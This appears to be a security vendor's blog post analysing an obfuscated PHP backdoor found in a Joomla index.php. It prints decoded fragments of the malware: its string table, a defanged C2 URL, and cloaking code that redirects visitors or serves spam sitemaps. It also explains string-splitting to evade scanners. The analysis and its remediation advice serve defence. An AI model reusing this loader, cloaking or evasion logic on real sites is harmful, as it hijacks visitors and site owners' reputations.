Joomla SEO Spam Injector: Obfuscated PHP Backdoor Hijacking Site Visitors

Joomla SEO Spam Injector: Obfuscated PHP Backdoor Hijacking Site Visitors

Overview

During a recent malware cleanup investigation, we encountered a compromised Joomla website where the site owner reported a strange issue. Their website displayed a large number of suspicious product links that had nothing to do with their business. These products were not added by the website owner and did not exist in their catalog.

Visitors and search engines were seeing pages that promoted unrelated products, raising immediate concerns about spam injection or remote content manipulation.

SEO spam is one of the most common types of website infections we handle at Sucuri. Attackers inject malicious code that silently serves spam content to visitors and search engines, all without the site owner knowing. The goal is simple: abuse the site’s reputation to push traffic towards products the attacker wants to promote.

What Did We Find?

When we inspected the site, we found a block of heavily obfuscated PHP code injected at the very top of the site’s index.php file.

Underneath the obfuscation, the malware was doing three things:

  • Contacting external command-and-control (C2) servers
  • Receiving instructions
  • Redirecting visitors or injecting spam content accordingly.

What Was New This Time?

One interesting aspect of this infection is that the malware itself does not directly include the spam content linked to the suspicious product listings reported by the site owner.

Instead, the script acts as a remote loader. It contacts an external server, sends information about the infected website, and waits for instructions. The response from the remote server determines what content the infected site should serve.

This approach allows attackers to change the behavior of the compromised website at any time without modifying the local files again. The attacker can inject spam product links, redirect visitors, or display malicious pages dynamically.

Another thing we noticed was that the strings are not stored as single base64 blobs. Instead, the code is broken into two-character strings that reassemble and execute perfectly at runtime. This helps avoid many signature-based scanners that look for a recognisable base64 string.

code broken into two-character strings

Domains Involved in the Infection

Three domains appear in this malware. Two are active C2s. One is a dead decoy.

  • PRIMARY: cdn[.]erpsaz[.]com – Primary C2
  • FALLBACK: cdn[.]saholerp[.]com – Fallback C2, used automatically if the primary returns an empty response
  • Doesn’t return anything: lashowroom[.]com – Decoded into the string table at mpjy(25) but never referenced by any index call that constructs a URL. Present in the code but was never used.

These domains appear inside the encoded payload and are used by the malware to retrieve instructions from attacker-controlled infrastructure.

When the infected website loads, the script tries to contact these domains and send details about the server environment. The response from these servers determines how the website behaves.

Indicators of Compromise (IoC)

One of the main indicators in this case was the presence of heavily obfuscated PHP code injected at the top of the Joomla index.php file.

heavily obfuscated PHP code

Other indicators included suspicious outbound requests to external domains and the appearance of unrelated product links on the site. These links were not stored in the Joomla database, but were instead injected dynamically by the malicious loader script.

Analysis of the Malware

The malware is structured across four PHP functions, each with a specific role. We walk through each one in full detail below.

1. wffn(): The Bootstrap Decoder

Everything in this malware depends on this tiny function. It exists purely to avoid writing the words explode and base64_decode anywhere in plain text, since those strings are flagged by many security scanners:

The Bootstrap Decoder

Even base64_decode is split across string concatenations (BASE6 + 4_dec + ODE) so it doesn’t appear as a literal.

2. mpjy(): The String Lookup Table

This function decodes and caches a master lookup table of 27 strings. The entire table is stored as a single base64 string that is itself assembled from 2-character concatenated chunks:

The String Lookup Table

Once decoded, the base64 string is split on the `~` delimiter to produce 27 indexed entries.

Here is the full resolved table:

mpjy(8)  = 'T'
mpjy(9)  = 'curl_exec'
mpjy(10) = '?ua='
mpjy(11) = 'http'
mpjy(12) = 'method'
mpjy(13) = 'GET'
mpjy(14) = 'timeout'
mpjy(15) = 'http_code'
mpjy(16) = '200'
mpjy(17) = ''
mpjy(18) = 'erpsaz'
mpjy(19) = 'saholerp'
mpjy(21) = '/admin'
mpjy(23) = '.com'
mpjy(24) = '://'
mpjy(25) = 'lashowroom'
mpjy(26) = '.com'

3. fotr(): The Traffic Cop

This is the cloaking engine. It constructs the C2 URL, calls joog() to fetch instructions, then decides what to serve to the current visitor based on the C2 response.

URL Construction:

The C2 URL is assembled by concatenating specific mpjy() indices:

$xsj = joog(mpjy(11).mpjy(24).mpjy(0).mpjy(18).mpjy(23).mpjy(21).mpjy(1));

Decodes to:

// = 'http' + '://' + 'cdn.' + 'erpsaz' + '.com' + '/admin' + '.php'
// = http://cdn[.]erpsaz[.]com/admin.php

Once joog() returns the C2 response into $xsj, fotr() runs three checks:

Mode 1 — Redirect. If the response starts with http, the visitor is silently redirected:

if ($nde[0](mpjy(2), $xsj)) {   // preg_match('/^http/', $xsj)
    $nde[1](mpjy(3).$xsj);       // header('Location: ' . $xsj)
    exit;
}

Mode 2 — Raw payload injection. If the response starts with ##, the prefix is stripped and the remaining content is printed directly into the page:

if ($nde[0](mpjy(4), $xsj)) {   // preg_match('/^##/', $xsj)
    exit($nde[2]($xsj, 2));       // echo substr($xsj, 2)
}

Mode 3 — Fake SEO content. If the response is long enough (>90 chars), the malware checks whether it contains an XML sitemap or HTML page and serves it to search engine crawlers:

if ($nde[3]($xsj) > 90) {                        // strlen($xsj) > 90
    if ($nde[4]($xsj, mpjy(5))) {                // strstr($xsj, '</urlset>')
        $nde[1](mpjy(6));                        // header('Content-type:text/xml')
        exit($xsj);                              // serve fake XML sitemap
    }
    if ($nde[4]($xsj, mpjy(7))) {                // strstr($xsj, '<html')
        exit($xsj);                              // serve fake HTML page
    }
}

This three-mode design is the heart of the cloaking operation. The C2 server knows who is visiting (from the fingerprint data sent in the request) and tailors the response accordingly. Real users get redirected, and search bots get fake keyword-stuffed content designed to manipulate rankings.

4. joog(): The HTTP Requester and Data Exfiltrator

The joog() function handles communication with the remote infrastructure.

joog() function

The script collects server environment data using the $_SERVER variable and encodes it before sending it to the attacker.

This information may include the server host, request path, user agent, and other details that help the attacker understand how the infected site is being accessed.

The flag prevents infinite recursion; it only retries once. This gives the attacker a reliable backup channel if cdn[.]erpsaz[.]com goes offline.

Impact of the Malware

Because this script retrieves instructions from a remote server, attackers can dynamically control the infected website. This can allow them to inject spam product listings, display malicious content, or redirect visitors to other websites.

In this case, the site owner noticed unrelated product links appearing on their website. These links were likely delivered through responses from the remote command server rather than being stored locally on the site.

This type of infection can damage a website’s reputation, incur search engine penalties, and lead to an overall loss of visitor trust.

How We Fixed It

To remediate the infection, we removed the malicious code from the Joomla index.php file and verified that no additional backdoors were present on the server.

We then asked the site owner to reset all administrator credentials. Additionally, a comprehensive file integrity check was carried out to verify that no other malicious modifications persisted.

Prevention Steps

  • Keep Joomla core and all extensions up to date. Joomla versions below 5.X are no longer supported and should be upgraded as soon as possible. The majority of compromises we see exploit known, patched vulnerabilities in outdated installations.
  • Use a Web Application Firewall (WAF). A WAF can block exploit attempts before they reach the application and prevent outbound C2 communication from compromised servers.
  • Use strong, unique passwords for the Joomla admin panel and enable two-factor authentication or IP restrictions wherever possible.
  • Restrict file permissions. PHP files should not be world-writable. Set directories to 755 and files to 644 as a baseline.
  • Regularly audit installed extensions and remove anything that is unused, abandoned, or sourced from untrustworthy providers.

Conclusion

This case highlights how attackers use small, heavily obfuscated loader scripts to remotely control compromised websites. Instead of embedding spam directly in the site files, the malware contacts external servers and retrieves instructions dynamically.

The lashowroom[.]com domain is a particularly notable detail. It is fully decoded at runtime, sits visually adjacent to the real C2 domains in the string table, but is never called.

Because the malicious behavior can change at any time, these infections can remain unnoticed for long periods while attackers quietly manipulate the site’s content.

If your Joomla site is showing unexpected links, products, or content that does not belong to you, consult a security professional for a full site audit. A backdoor like this one is almost always sitting quietly at the very top of that file.

Regular security monitoring, timely software updates, and careful inspection of core files are essential steps in preventing and detecting these types of compromises.

If you suspect your site has been compromised and need expert assistance, Sucuri offers professional website malware removal and ongoing security monitoring.

Chat with Sucuri

You May Also Like